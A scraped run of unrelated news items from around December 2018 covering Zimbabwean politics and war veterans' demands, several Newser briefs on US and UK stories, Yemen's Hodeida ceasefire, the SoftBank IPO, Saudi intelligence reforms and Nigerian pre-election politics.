supposedly has a two-thirds majority in parliament are unfortunate and unhelpful. The fact of the matter is that Mnangagwa, as the Zanu PF leader and candidate, did not win the elections. He knows it. Zec (Zimbabwe Electoral Commission) also knows it. The people know it. Observers also do. Even by Zecs fraudulent count and standards, Mnangagwa still does not have the support of half of the electorate. The majority of the economically active and productive Zimbabweans, and indeed 80% of taxpayers, dont support him. The majority of taxpayers funding his governments budget and his own salary dont support him. Besides, he was rejected even by Zanu PF supporters in some constituencies. He won in 129 constituencies out of 210 constituencies, while his party won in 145 constituencies out of 210 constituencies. He even publicly complained about this. He also protested that his own party is plotting to impeach against him, among other complaints. These issues are very important and cant be ignored. Lets get real and deal with them timely. There is also this myth that Zanu PF won a two-thirds majority in parliament. It did not because we are challenging the results in more than 20 constituencies. You also had chaotic situations like that in Chegutu West where Zanu PFs Dexter Nduna and our candidate Gift Konjanas had been declared winners before things changed. Besides, in some constituencies where Zanu PF won, we had more votes than them, but unfortunately because we had more than one candidate we lost by default. Harare South constituency and many others are clear examples. So when the situation is analysed, Zanu PF has no two-thirds majority to talk about. In the end, that is why dialogue, given all these issues and the messy situation we are now in, is necessary and almost unavoidable if we really want to fix this country. That is what we want, not a GNU. MISS Zanu-PF Bulawayo, Cde Nokuthula Sibanda, was crowned Miss Zanu-PF Zimbabwe during the ruling partys 17th Annual National Peoples Conference held in Esigodini last week. The 42-year-old mother of three, who is the secretary for transport in Bulawayos provincial structures, came first, beating 50 other contestants drawn from the countrys 10 provinces. For her efforts, she won a fridge and was congratulated by the First Lady Amai Auxilia Mnangagwa during the Zanu-PF National Peoples Conference held at Mzingwane High School. Cde Maidei Mpala, Zanu-PF Bulawayo provincial secretary for information and publicity in the womens league said they were very happy to scoop the first prize. As part of the resolutions passed at the just-ended Zanu PF conference in Esigodini last week, it was agreed that members of the Zimbabwe National Liberation War Veterans Association (ZNLWVA) be rewarded in cash or kind for the instrumental role they played in ending colonial rule. It was therefore resolved that those who are still to benefit from the haphazard land reforms of the early 2000s be given access to land, among other featherbeddings. All war veterans who have not yet benefited from land allocation should be given land. The war veterans should be given their land quota promised by government as this phenomenon has not been followed. The liberation war fighters want to be exempted from land tax on the land they liberated, the party stated in its resolutions. There is need to improve the general welfare of war veterans and honour the monetary pledge that government made to them, like in the case of all liberation armies in the region and beyond. The vetting process of war veterans who have been excluded should be expected, expedited and completed. As if that is not enough, the former liberation war fighters took to the streets of Harare yesterday, demanding that Mnangagwas administration look into their welfare. In a petition addressed to the presidency, the ex-combatants are pushing for monthly pensions of $2 000 each, clearance of arrears and implementation of all the other benefits provided for in Statutory Instrument 280 and 281 of 1997 such as the medical, funeral, and settlement benefits. They are also pressing for the settlement of the outstanding $450 000 once-off gratuity to both the living and beneficiaries of the estates of all war veterans who passed on, which could gobble up $13,5 billion for the 30 000 war veterans on governments books. Analysts canvassed by the Daily News this week said while the legacy of the liberation struggle is respected without question, along with the sacrifices of genuine war veterans, some elements within ZNLWVA have become parasitic, with a sense of entitlement that could lead the country to ruin if Zanu PF dances to their every whim. If Mnangagwa is not careful about these current demands, it could worsen an already bad economic situation. It will backfire because it will ruin the economy and war veterans have no real political power to talk of. Power lies with the military, said political analyst Dewa Mavhinga. Piers Pigou, a senior consultant at the International Crisis Group said while Mnangagwa could be trying to appease the former liberation war veterans by showering them with monetary and nonmonetary rewards, his generosity could impact negatively on the countrys dying economy. Promises on the land issue reflect the continued mind-set in Zanu PF that they, rather than the State, are the primary custodians and decision-makers on the land. How this relates to reform promises on tenure etc. remains to be seen? opined Piers Pigou. ZNLWVA has been an integral part of the ruling party even though the supreme law of the land expects them to be nonpartisan. The ex-combatants have been instrumental in waging a brutal campaign against the opposition until around 2015/16 when they fell out with former president Robert Mugabe for campaigning for Mnangagwa, who was vice president at the time, to succeed the 94-year-old despot. While it was the Zimbabwe Defence Forces which masterminded Mugabes fall through a soft coup in November last year, it was the war veterans through ZNLWVA who did the groundwork under the leadership of the now under-fire Chris Mutsvangwa. Now that Mnangagwa is firmly in charge, the war veterans are now demanding their pound of flesh for the role they played in ushering him to power. Recently, Defence and War Veterans deputy minister Victor Matemadanda told members of the Senate that war veterans, war collaborators and detainees must have a say in the economy. He disclosed that they have been engaging officials from the Reserve Bank of Zimbabwe who made an undertaking to sponsor projects and programmes for war veterans. Our request is that if the money is allocated to the war veterans and when the war veterans receive it, they should be capacitated to start businesses, he said. In 1997, government, under unrelenting pressure from marauding war veterans led by the late Chenjerai Hitler Hunzvi, was forced to award gratuities of Z$50 000 (then about $4 000) to each of the surviving 50 000 war veterans as well as monthly pensions of Z$2 000 in addition to extending education and health benefits to them and their family members. The unbudgeted hefty payouts had grave consequences on the economy, with the countrys currency losing 72 percent of its value in a single day, on November 14, a day that is remembered in the countrys economic history as the Black Friday. The economy never recovered from this severe knock. In 2013, war veterans leaders insisted that their members were still owed $18 000 each, arguing that the Z$50 000 they were paid was only a down payment of the Z$500 000 government had agreed to pay them. Currently, the war veterans are getting $200 monthly pensions and on top of that, the government is paying school fees for their children, medical allowances and funeral assistance when they die. THE countrys former liberation war fighters have put President Emmerson Mnangagwas government in a tight spot by demanding monetary and nonmonetary rewards at a time his administration could ill-afford such benefits. Daily News Install the Newser News app in two easy steps: 1. Tap in your navigation bar. 2. Tap to Add to Home Screen. Israel will escalate its fight against Iranian-aligned forces in Syria after the withdrawal of US troops from the country, Israeli Prime Minister Benjamin Netanyahu said on Thursday. Some Israeli officials have said US President Donald Trumps move, announced on Wednesday, could help Iran by removing a US garrison that stems the movement of Iranian forces and weaponry into Syria from Iraq. Israel also worries that its main allys exit could reduce its diplomatic leverage with Russia, the Syrian governments big-power backer. We will continue to act very aggressively against Irans efforts to entrench in Syria, Netanyahu said in televised remarks, referring to an Israeli air campaign in Syria against Iranian deployments and arms transfers to Lebanese Hezbollah guerrillas, carried out with Moscow often turning a blind eye. We do not intend to reduce our efforts. We will intensify them, and I know that we do so with the full support and backing of the United States. Search Keywords: Short link: (Newser) After around 200 failed attempts over at least 100 years, a bill to make lynching a federal crime has finally passed the Senate. The bipartisan bill, which was introduced in July, passed the Senate unanimously on Wednesday, the Hill reports. It was sponsored by Sens. Kamala Harris, Cory Booker, and Tim Scottthree of the 10 African-American senators in US history. The bill defines lynching as "willfully, acting as part of any collection of people, assembled for the purpose and with the intention of . . . [causing] death to any person" and makes it a hate crime punishable by up to life in prison, the Washington Post reports. The bill also criminalizes attempts to lynch and conspiracy to lynch. story continues below The NAACP says at least 3,446 black people were among more than 4,700 people lynched between 1882 and 1968, mostly in the South. "This has been a long arc, a painful history, and a shameful history in this body," Booker said on the Senate floor. "At the height of lynchings across this country affecting thousands of people, this body did not act to make that a federal crime." Harris described lynching as "a dark and despicable aspect of our nations history." It's not clear whether the House will pass the bill and send it to President Trump before the Christmas holiday, the AP reports. (Last year, a Mississippi lawmaker called for lynchings as Confederate statues came down.) (Newser) The Connecticut town of West Hartford has been shaken by the murder of a 12-year-old girland the arrest of her twin brother. Police say the boy stabbed his sister to death and seriously injured his 56-year-old mother in the Monday afternoon incident. No motive has been given. West Hartford Mayor Shari Cantor says the town is "incredibly brokenhearted," the Hartford Courant reports. "As mayor this is just the worst nightmare," she says. "To have a tragedy like this and to lose anybody in your community is very difficult." The mother has been identified as Janemarie Murphy, a lobbyist well-known and well-liked at the state Capitol. ABC reports that both children were honor students at Sedgwick Middle School. story continues below Gov. Dannel P. Malloy, who knows Murphy, offered his condolences to the family and the town after what he called an "unbelievably heart-wrenching and unthinkable tragedy." The girl has been identified as 12-year-old Brigid Curtin. Her brother, who was injured in the incident and remains hospitalized, faces charges of murder with special circumstances and first-degree assault. His mother is in stable condition in a different hospital. Criminal defense attorney Walter Hussey says there is no chance of the boy being tried as an adult, WFSB reports. Officials say that under state law, which focuses on rehabilitation for young offenders, the maximum sentence a juvenile under 14 can be given is 30 months of probation supervision, "with or without residential placement." (Read more Connecticut stories.) (Newser) The Catholic Church in Illinois withheld the names of at least 500 priests accused of sexually abusing children, while nearly 75% of allegations were either not investigated or investigated but not substantiated, according to a scathing report from the state's attorney general. Claims involving just one victim were often found to be not credible, even when the victim was believable, while claims against deceased and reassigned priests, and those in a religious order (like the Jesuits), weren't investigated at all, AG Lisa Madigan writes in the nine-page preliminary report out Wednesday, based on files turned over by Illinois' six dioceses, per CNN. The report doesn't name priests or officials suspected of negligence, but it concludes the dioceses of Chicago, Belleville, Joliet, Peoria, Rockford, and Springfield are "incapable of investigating themselves," as the New York Times puts it. story continues below They "will not resolve the clergy sexual abuse crisis on their own," having previously discredited claims by "focusing on the survivors' personal lives," reads the report. It reveals a "shocking" number of hidden names, Madigan tells the Times. She leaves her post in January with a promise from her successor to keep up the investigation launched in August. Only 185 of 690 accused priests were publicly identified by the church as facing credible allegations. "I want to express again the profound regret of the whole church for our failures to address the scourge of clerical sexual abuse," says Cardinal Blase J. Cupich, the archbishop of Chicago and an ally of Pope Francis. "It is the courage of victim-survivors that has shed purifying light on this dark chapter in church history." (Similar investigations are underway in numerous states, including New York.) (Newser) It's not clear whether the motive was mischief or something more sinister, but somebody has managed to cause massive disruption at one of Europe's busiest airports by flying drones close to the runway. At least 10,000 passengers at London's Gatwick Airport were affected starting Wednesday night when two drones were spotted near the airfield, the BBC reports. After around six hours, the runway was opened again at 3ambut closed 45 minutes later after more sightings of drones being flown in across the perimeter fence. It remained closed Thursday morning, with more than 100,000 people scheduled to fly in or out of Gatwick, which is the second-busiest airport in Britain. story continues below Airport chief operating officer Chris Woodroffe says police are scouring the airport perimeter, the Guardian reports. "The police advice is that it would be dangerous to shoot the drone down because of what may happen to the stray bullets," he says. Another drone was spotted around 7am. Some inbound flights were diverted as far away as Paris and Amsterdam, and some passengers shared accounts of being held in planes for hours while they waited for the runway to reopen. Passengers diverted to Manchester, more than 160 miles north, said they were promised buses but found scenes of chaos instead, with taxi drivers charging more than $750 for the trip to Gatwick. (Last year, a drone slammed into a passenger jet in Canada.) (Newser) Big advertisers keep pulling out of Tucker Carlson's show on Fox News over his comments that immigrants make the nation "poorer" and "dirtier." Media writer Jack Shafer is no fan of Carlson and his "retrograde views on race, minorities, gays, and women," but he's even less of a fan of this boycott, he writes at Politico. It's a dangerous idea to let fickle corporate advertisers have a say on what people can and can't say on news shows, he writes. He notes that one of the latest companies to ditch Carlson was IHOP. "Seriously, I barely trust IHOP to make my breakfast," writes Shafer. "Why would I expect it to vet my cable news content for me?" story continues below Shafer takes issue with the notion that advertising on Carlson's show is tantamount to endorsing his views, noting that's not how advertising works. If a company takes out a full-page ad in today's Washington Post, does that mean it endorses the Post's views? Of course not, per Shafer. Left-leaning groups such as Media Matters for America are encouraging companies to bail on the Fox show, and Shafer thinks it's a mistake. Critics of Carlson have other ways to express themselves: petitions, pickets, whatever. "But please keep your hands off of Carlson's advertisers," writes Shafer. "In the long run, you'll be hurting only yourself." Click for his full column. (Read more Tucker Carlson stories.) (Newser) A word of warning if you plan to celebrate the holidays by sipping on vintage Scotch whisky: There's a solid chance the stuff you have is fake. Advanced lab tests on 55 bottles of rare scotch nabbed from auctions, private collections, and retailers revealed 21 were outright fakes or carried the wrong year on the label, reports the BBC, noting age was determined through "residual concentrations of a radioactive isotope of carbon present in the alcohol." The tests were commissioned by Rare Whisky 101, a broker acknowledging "growing concern surrounding the proliferation of fake whisky" sold as vintage. It estimates almost $52 million worth of rare whisky in the secondary market is fake. story continues below While "the vast majority" of vendors aren't selling fake scotch on purpose, RW101 co-founder David Robertson says every rare whisky "should be assumed to be fake until proven genuine," especially the claim is that it's a single malt. The tests showed 10 single malts said to date from 1900 or earlier were fake. Had the 21 fake bottlesincluding an Ardbeg 1885 and a Thorne's Heritage early 20th-century blendbeen genuine, they would've been valued at $800,000, says Robertson. Per the BBC, his company last year proved a shot of Scotch whisky sold in a Swiss hotel bar was fake, and therefore insanely overpriced at $10,050. The Robb Report shares tips on how to spot fakes. (To improve your whisky, try diluting it.) (Newser) Just your everyday sheriff's message: "It is of great concern that this individual might think its OK to shoot at anything he thinks is Bigfoot." The warning comes out of Montana, from Lewis and Clark County Sheriff Leo Dutton, reports McClatchy. A 27-year-old man told deputies that he was putting up targets in the woods for shooting practice on Sunday when a man in a black Ford F-150 started firing at him and nearly hit him. When the would-be victim emerged to confront the shooter, he says the shooter offered this explanation: "I thought you were Bigfoot, (and) if I see something that looks like Bigfoot, I just shoot at it." story continues below Deputies investigated the scene and did not find the pickup, and Dutton suggested the story, which the man didn't call in until Monday, sounded a little fishy. However, after it ran in the Helena Independent Record, a woman came forward to say that she, too, confronted a man in a black Ford F-150 who had shot at her. In that incident, though, the pickup driver apparently didn't mention Bigfoot. All of which means that someone who may or may not think he's shooting at Bigfoot is possibly shooting at strangers in the North Hills near Helena. "We're working to find this person," says Dutton. (This woman says California is endangering people by not taking her Bigfoot sighting seriously.) (Newser) An incident at a bank near Cleveland has spawned an unfortunate hashtag: #BankingWhileBlack, reports NBC News. When Paul McCowns, who is black, showed up at Huntington Bank in the Ohio suburb of Brooklyn to cash his first check from a new job, the tellers got suspicious. After they tried calling the employer who issued the check and got no response, they turned McCowns away even though he provided two forms of ID as well as his fingerprints, as required for non-customers, reports Cleveland19. story continues below That might have been the end of it, but bank employees also called police, who arrived and handcuffed McCowns in the parking lot and placed him in the police cruiser. Police released him after successfully contacting his employer. A bank representative said the bank had been hit with several fraud incidents in the last few months, though a later statement avoided making any excuses: "We sincerely apologize to Mr. McCowns for this extremely unfortunate event," it says. "We accept responsibility for contacting the police as well as our own interactions with Mr. McCowns." (This is far from the first such incident.) (Newser) Mexico has agreed to a fundamental change on how it deals with migrants seeking asylum in the US. Instead of being allowed to cross into America, they will now be returned to Mexico to wait out the legal process, reports the AP. The Homeland Security Department calls Mexico's agreement to accept the migrants "historic," while the Mexican government made clear that it viewed the move as a temporary one, reports the Washington Post. US and Mexican officials have been negotiating for weeks on the "Remain in Mexico" planthe US view being that many asylum-seekers vanish into the US while their requests are processed. Homeland Security Secretary Kirstjen Nielsen was expected to outline the change to a House panel Thursday. story continues below "They will not be able to disappear into the United States," said Nielsen in a statement. "They will have to wait for approval to come into the United States. If they are granted asylum by a US judge, they will be welcomed into America. If they are not, they will be removed to their home countries." Mexico has never previously allowed migrants from other nations back into its borders. "They will be entitled to equal treatment without any discrimination and with due respect to their human rights, as well as the opportunity to apply for a work permit so they can find paid jobs, which will allow them to meet their basic needs," says a statement from the Mexican government. (Nielsen was to face questions from lawmakers about the death of a young girl in US custody.) (Newser) Nearly 40 years ago, 18-year-old Michelle Marie Martinko attended a school choir banquet, then went to an Iowa mall to shop for a new coat. She was never seen alive again. Police found the high school senior dead of stab wounds to her face and chest in the mall parking lot, inside her family's Buick at 4am on Dec. 20, 1979. On Wednesday morning, a suspect was finally arrested and charged in the case. Cedar Rapids Police, who procured DNA evidence in 2006 using new technology, charged Jerry Lynn Burns, 64, with first-degree murder, USA Today reports. They had been able to covertly get Burns' DNA and compare it to the DNA evidence found at the crime scene, from blood found on Martinko's clothing and the car's gear shift that did not belong to the teen, the Gazette reports. story continues below Not many details have been released, but police originally said that due to the number and location of stab wounds, Martinko's murder was considered to be personal in nature. Police have not said whether Burns may have known Martinko or whether the crime was random; nor have they commented on when and how he emerged as a suspect. Martinko was not robbed, was found fully clothed and had not been sexually assaulted. She had wounds on her hands indicating she fought back. Burns would have been about 25 years old when Martinko was murdered. Police say he denied killing the teen, but had no "plausible explanation" for his DNA allegedly being present at the scene. (Another case was solved almost 50 years later.) An uneasy calm returned to the battleground Yemeni city of Hodeida on Thursday after further overnight skirmishes as the warring parties await the promised deployment of UN staff to oversee a hard-won but fragile truce. The ceasefire in the Red Sea port city which is a vital aid lifeline for millions at risk of starvation is the centrepiece of a peace push that is seen as the best chance yet of ending four years of devastating conflict. Military officials and residents have reported intermittent fighting between government forces and Houthi Shia rebels since the UN-brokered ceasefire came into effect in the Red Sea port city on Tuesday. A pro-government official told AFP that four loyalists were wounded in a firefight on Wednesday night. "The exchange of fire lasted for about half an hour, and there is an uneasy calm this morning," he said. Residents reached by telephone confirmed to AFP that there was no fighting on Thursday morning. The official added there has been intermittent fighting on a number of battlefronts in Hodeida province, including the districts of Hays and Al-Tuhayta. Pro-government forces and Houthi rebels accused each other on Thursday of breaching the ceasefire agreed at talks in Sweden earlier this month. The rebel-run Saba news agency said loyalists targeted a "number of neighbourhoods in the city" overnight. 'Breathing down the neck' UN observers are due in Yemen to head up monitoring teams made up of government and rebel representatives tasked with overseeing the implementation of the UN-brokered ceasefire, under the auspices of a Redeployment Coordination Committee. The committee's UN chair, Patrick Cammaert, convened its first meeting by videoconference from New York on Wednesday "to discuss the general outlines of its work, including agreement of a code of conduct", UN spokesman Stephane Dujarric said. UN chief Antonio Guterres was "breathing down the neck" of officials to make sure the UN observers are deployed as soon as possible, Dujarric said. He added that Cammaert will head on Thursday to Jordan from where he will travel to the rebel-held capital Sanaa and Hodeida. A UN official told AFP that he was expected in Amman on Friday. "His departure to Yemen depends on logistics arrangements and flight availability," the official, who requested anonymity, said. Brigadier General Ahmed al-Kokbani, a Yemeni government representative on the committee, told AFP that the videoconference with Cammaert covered the bases of the committee's mission. "Cammaert asked members of the team to work diligently in calming the situation and to reject any violations," he said. The Saudi-led coalition said Wednesday that the hard-won ceasefire agreement will collapse if rebel violations persist and the United Nations does not intervene. The committee's observers are due to oversee the withdrawal of the warring parties from Hodeida, including a rebel pullout from the city's docks that are the entry point for 80 percent of Yemeni imports and nearly all UN-supervised humanitarian aid. Cammaert is due to report back to the Security Council on the situation on the ground on a weekly basis. According to the International Crisis Group, the "odds are stacked against" UN envoy Martin Griffiths and his team. "The Hodeida agreement came about in a rush, and critics have assailed it as too vague and open to interpretation," it said in a statement on Wednesday. "Griffiths will now have to build on this imperfect but highly welcome and overdue agreement, which, as Crisis Group has argued, the UN Security Council should endorse via a new resolution. "Without strong international support, the Hodeida ceasefire will falter." The war between the Shia Houthi rebels and troops loyal to President Abedrabbo Mansour Hadi escalated in 2015, when he fled into Saudi exile and the Saudi-led military coalition intervened. Since then, the war has killed some 10,000 people, according to the World Health Organization, although human rights groups say the real death toll could be five times as high. The conflict has pushed 14 million people to the brink of famine in what the United Nations describes as the world's worst humanitarian crisis. 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San Marino, Republic of Sao Tome and Principe, Democratic Republic of Saudi Arabia, Kingdom of Senegal, Republic of Serbia and Montenegro Seychelles, Republic of Sierra Leone, Republic of Singapore, Republic of Slovakia (Slovak Republic) Slovenia Solomon Islands Somalia, Somali Republic South Africa, Republic of South Georgia and the South Sandwich Islands Spain, Spanish State Sri Lanka, Democratic Socialist Republic of St. Helena St. Kitts and Nevis St. Lucia St. Pierre and Miquelon St. Vincent and the Grenadines Sudan, Democratic Republic of the Suriname, Republic of Svalbard & Jan Mayen Islands Swaziland, Kingdom of Sweden, Kingdom of Switzerland, Swiss Confederation Syrian Arab Republic Taiwan, Province of China Tajikistan Tanzania, United Republic of Thailand, Kingdom of Timor-Leste, Democratic Republic of Togo, Togolese Republic Tokelau (Tokelau Islands) Tonga, Kingdom of Trinidad and Tobago, Republic of Tunisia, Republic of Turkey, Republic of Turkmenistan Turks and Caicos Islands Tuvalu Uganda, Republic of Ukraine United Arab Emirates United Kingdom of Great Britain & N. Ireland Uruguay, Eastern Republic of Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam, Socialist Republic of Wallis and Futuna Islands Western Sahara Yemen Zambia, Republic of Zimbabwe Saudi Arabia announced on Thursday the creation of three new government bodies aimed at improving the country's intelligence operations. The new government departments - for strategy and development, legal affairs, and performance evaluation and internal review - are meant to ensure that intelligence operations align with national security policy, international law and human rights treaties, state news agency SPA reported. The new departments were created by a committee headed by Crown Prince Mohammed bin Salman, the kingdom's defence minister. In October, King Salman bin Abdel-Aziz ordered a restructuring of the intelligence service after the murder of journalist Jamal Khashoggi in the Saudi consulate in Istanbul. *This story was edited by Ahram Online. Search Keywords: Short link: Bahrain Development Bank (BDB) participated in the third Agricultural Exhibition 2018, organised by Bahrain Training Institute (BTI). The exhibition was held under the patronage of the Education Minister Dr Majid Al Nuaimi at the institutes premises in Isa Town. The annual event, held this year under the theme Sustaining Agriculture: Saving Earth, Preserving Life, provided an excellent opportunity for the participants to share experiences, achievements and exchange knowledge related to the agricultural field. The exhibition featured displays of various experiments and agricultural initiatives implemented in educational institutions and agricultural companies. The participation of BDB comes as part of the banks efforts to support the agricultural events conducted in the kingdom and to spread awareness among the public about the financial facilities the bank offers to the Bahraini farmers. The BDB provides agricultural finance to Bahraini farmers with a zero per cent profit rate and with a financing amount of BD15, 000. The CEO of SoftBank Group's Japanese mobile unit on Wednesday acknowledged the "challenging conditions" facing the company after its shares fell nearly 15% on their first day of trading, leaving retail investors nursing losses. Japanese investors flocked to buy into the world's largest IPO this year and the second biggest in history, which raised 2.6 trillion yen ($23 billion) for the group. Roughly 90% of the shares were allocated to domestic investors, the majority of which were sold to individuals. Buyers hoping for an opening-day pop watched as shares sunk to a close of 1,282 yen, 14.5% below the offer price of 1,500 yen, raising concerns over the company's prospects. One branch manager at a Japanese broker told Nikkei that he will embark on an apology tour to his clients, to whom he had so enthusiastically pitched the purchase. Virtually all of the investors who had taken part in the historic IPO lost money. The mobile unit's CEO, Ken Miyauchi, vowed to deliver both growth and shareholder returns, calling the listing a "new start" for the company. "A lot of things happened ... but we had been planning [the IPO] and there was no need to withdraw," Miyauchi said, citing the controversy over its use of China's embattled Huawei Technologies as a supplier, the nationwide network disruption that hit less than two weeks before the listing, and rising price competition. When SoftBank phones lost signals for four hours on Dec. 6 due to a software glitch, an estimated 10,000 to 20,000 users switched to other carriers out of frustration. "I truly see a mountain of business opportunities," Miyauchi said. "We would rather focus our energy on that." Nomura Securities and other lead underwriters wooed retail investors with the IPO's biggest selling point: a high dividend yield of 5% based on the offer price. But as the Japanese telecom market matures, sustaining these high payouts -- the bulk of which will go to the parent company -- may prove difficult. Egypt's Prime Minister Mostafa Madbouly attended on Thursday the signing ceremony of a debt settlement agreement between the public business sector ministry and the petroleum ministry outlining a mechanism through which public sector companies will pay EGP 12 billion in debts to the petroleum ministry in return for their consumption of natural gas. The agreement was signed in the attendance of Petroleum Minister Tarek El Molla and Public Business Sector Minister Hisham Tawfik. In a press conference following the signing ceremony, the petroleum minister said that the deal seeks to improve the efficiency of the petroleum sectors companies and enable them to sustain the services they offer. According to the agreement, the public sector companies will pay a number of their debts either in cash or with real estate assets, El-Molla explained, adding that in the future these companies will pay for their natural gas consumption on time. The public business sector minister said that the protocol falls within the framework of the ministrys efforts to settle the debts of its affiliate companies to improve their financial status. Search Keywords: Short link: Senator representing Kaduna Central in the National Assembly, Shehu Sani has described the drama that played out at the joint session ... Senator representing Kaduna Central in the National Assembly, Shehu Sani has described the drama that played out at the joint session of the National Assembly during President Muhammadu Buhari 2019 budget presentation as ridiculous. The civil rights activist painted the National Assembly as a theater occupied by opera choristers craving for the attention of President Buhari, going as far as cheering even a sip of water. While on the other hand, was the unruly bands who were bent on interrupting President Muhammadu Buharis 2019 budget presentation. His tweet reads: The Budget Presentation was a theater of the absurd;one side of the opera occupied by the oleaginous & obsequious choristers craving for the attention of Mr Prez,cheering even a sip of water;And the other occupied by unruly bands of impudent hecklers & discourteous objectors. The Joint Admissions and Matriculation Board (JAMB) has said it will no longer use cyber cafes for registration of candidates, beginning from the 2019 Unified Tertiary Matriculation Examination (UTME).JAMBs Registrar, Prof. Ishaq Oloyede, said this on Thursday on the sideline of a meeting with proprietors of Computer Based Test (CBT) centres at the University of Lagos.We are no longer going to allow the cyber cafes to do the registration exercise for prospective candidates because they are extorting candidates and overcharging them.They also do services they do not have the capacity to do, coupled with the fact that there was no way of tracking them because they were not registered.Another major reason is the mix-up they create on the data of the candidates. Some will just ask the candidates to write their names and other details down for them.On accumulating such data, they now get all of them mixed-up, thereby creating problems for these candidates.We know there will be uproar because they make a lot of illegitimate money from these services, but we cannot leave the candidates at their mercy.Particularly when people will make noise that it is JAMB that was extorting them, he said.The professor urged all prospective candidates to do their registration and access the boards major services in any of its 718 accredited centres in the country.Oloyede said the board would commence the sale of the registration form on Jan.3, 2019 and would span six weeks.He gave the assurance that the general elections would not affect the sale of forms, adding that the board had adjusted its examination schedule ahead of the election.We thank INEC for giving us an early notice and so, it is expected that the exercise will be hitch-free, he said.He told newsmen that as always the case, there were special centres for visually impaired candidates.He added that the board was already considering the introduction of a new technology for smooth conduct of the examination for such candidates.Next week, some of our officials will be in the United Kingdom where all the assessment bodies, who are attending to the blind, will meet.They will meet with a view to finding the best technology to use for these special candidates at a better price, because of the exchange rate.However, those with Braille machines, they are available; we will give them and those who do not have, we want to encourage them, whatever best method available to us, we will deploy because we want to be as inclusive as possible.That is also why we have set up a committee of experts under Prof. Peter Okebukola, to look for all-inclusive methods to be able to attend and bend it to suit the purposes of all these peculiar candidates, he said.Earlier, while addressing the CBT proprietors, Oloyede warned that the board would not tolerate any JAMB-related materials in all the centres, especially question papers, as most often turned out to be fake, thereby duping innocent candidates.He said that JAMB would also not hesitate to blacklist any centre that attempted to undermine the integrity of its examination through infractions.JAMB will continue to partner with you, empower good CBT centres to do things properly, as all essential services will henceforth be done by our good CBT centres.But to whom much is given, much is expected and so as we restrict services to you, you will be rewarded accordingly.But that does not stop there, as we will also beam our searchlight by tracking you also, to ensure that you remain in the right track, the registrar said.He noted that make-shift CBT centres too would not be allowed, adding that the board normally conducted an all year round examination for parastatals and agencies, and candidates for tertiary institutions.Do not pack up your centres and convert it to another thing, after the UTME, because we can come at any time for inspection, he said.Oloyede said that all the CBT centres must ensure that the dual screen registration process was followed strictly and ensure that candidates sign out by doing a thumb print that would ensure that data was uploaded and printed. A Yoruba socio-cultural group, Afenifere on Thursday declared that it will on Tuesday 29th January 2019 formally endorse the candidatu... A Yoruba socio-cultural group, Afenifere on Thursday declared that it will on Tuesday 29th January 2019 formally endorse the candidature of President Muhammadu Buhari as its preferred presidential candidate ahead of the 2019 general elections. The group made this known shortly after its meeting held at the House of Chiefs, Secretariat in Ibadan, the Oyo State capital. Recall that Chief Ayo Adebanjo, who spoke on behalf of another group led by Chief Rueben Fasoranti, had told journalists in September that the group will support the candidature of former Vice President, Alhaji Atiku Abubakar. But, another group led by Senator Ayo Fasanmi on Thursday said that President Muhammadu Buhari has performed well, hence deserves another term in office. The Senator Ayo Fasanmi-led Afenifere, after its meeting in Ibadan, told journalists that it will on Tuesday January 29 formally declare its support for Buhari and his Vice, Professor Yemi Osinbajo. Leaders of the group at the Ibadan meeting included: Chief Ayo Fasanmi, former governor of Oyo state, Dr. Omololu Olunloyo, Senator Biyi Durojaye and Chairman of Ekiti State chapter of the group, Chief Akin Fasae. Fasae, who spoke on behalf of the group, described the Chief Reuben Fasoranti group as usurper. He said, We decided to host the whole Yoruba land in Ibadan on January 29 next year. It is to proclaim support of the Yoruba land for President Muhammadu Buhari come 2019. And also to tell the whole world that the Afenifere that Baba Awolowo created before he left is still intact. The Afenifere is a progressive movement and any Afenifere who is not a progressive is not Afenifere. The Afenifere that Baba Awolowo created is still intact and we are going to support President Muhammadu Buhari and Professor Yemi Osinbajo in the presidential election come February 2019. Fasae said that Buhari has performed well and deserves another term in office. He said, The economy is a collective issue, the unemployment that we have is getting better. Look at the school feeding program, look at his many millions of naira they are spending, look at the number of school children they are feeding. Look, children are being fed, 27 states are benefiting. And many other things that are happening and unemployment has reduced. Buhari has done his best and his best is yet to come. That is why we are telling people to vote for him particularly in the Yoruba land. He added that the Chief Ayo Fasanmi-led Afenifere is the authentic Afenifere, claiming that the one led by Chief Reuben Fasoranti is not part of Afenifere. The Deputy Senate President, Senator Ike Ekweremadu has reacted to the murder of a former Chief of Defence Staff, Alex Badeh. Bade... The Deputy Senate President, Senator Ike Ekweremadu has reacted to the murder of a former Chief of Defence Staff, Alex Badeh. Badeh was killed by unknown gunmen along the Abuja-Keffi expressway while returning from his farm on Tuesday. Ekweremadu has now urged security operatives to launch a full investigation into the death of the former service chief. Speaking after Senators observed a minute silence during Thursdays plenary, the lawmaker lamented the murder of the former Defence Chief. He said: He went through this risky profession and survived, only to be killed by the same people he fought to protect. It is even sadder that these killers may not be found, based on past cases. It is time we ensure that those who kill people are found and punished. For such a great country in Africa, we must ensure the safety of our citizens. Vice President Yemi Osinbajo has heaped praised on his boss, President Muhammadu Buhari as he turned 76 on Monday.Osinbajo who is in Vienna, Austria to participate in the Africa-Europe High-Level Forum with other African and European Heads of States or Government, described Buhari as a man who genuinely loves Nigeria.Osinbajo alongside Buhari are seeking a second term in office in the forthcoming general elections billed for February 2019.Sending his greetings, Osinbajo took to Twitter and wrote, To a man, who has been exemplary in life and his commitment to Nigeria, he tweeted along with a painted sketch of Buhari.He added that, To a man who has a great sense of humour, he said of Buhari who had three failed attempts to be President.To a man who genuinely loves the Nigerian people and to a man I am privileged to call Boss, Happy 76th Birthday! Osinbajo wrote.President Buhari was born in Daura on 17 December 1942, and after his early education in both Daura and Katsina, he joined the army in 1961.After initial training at the Nigerian Military Training College (NMTC) now known as Nigerian Defence Academy (NDA), Buhari went for cadet training at from 1962 to 1963 at Mons Officer Cadet School in Aldershot, England.He was commissioned a Second Lieutenant at the age of 20, and appointed Platoon Commander of the Second Infantry Battalion in Abeokuta.From then on, his military career blossomed. At the head of several commands, before, during and after the civil war, Buhari in 1973 attended the Defence Services Staff College, Wellington, India.After the 1975 coup that brought Murtala Muhammed to power, Buhari was appointed governor of the North Eastern state, where he is now leading, as civilian president and commander-in-chief, a charge of Nigerian troops against Boko Haram insurgency, since 2015.In 2003, Buhari had his first shot at the presidency. He did not win. He tried again in 2007 and 2011 and again failed to win. On his fourth attempt in 2015 alongside Prof Osinbajo, he made the record as the first challenger to defeat an incumbent in the presidential election in Nigeria. Without doubt, the Federal Government has shown unwavering commitment to contain the Boko Haram 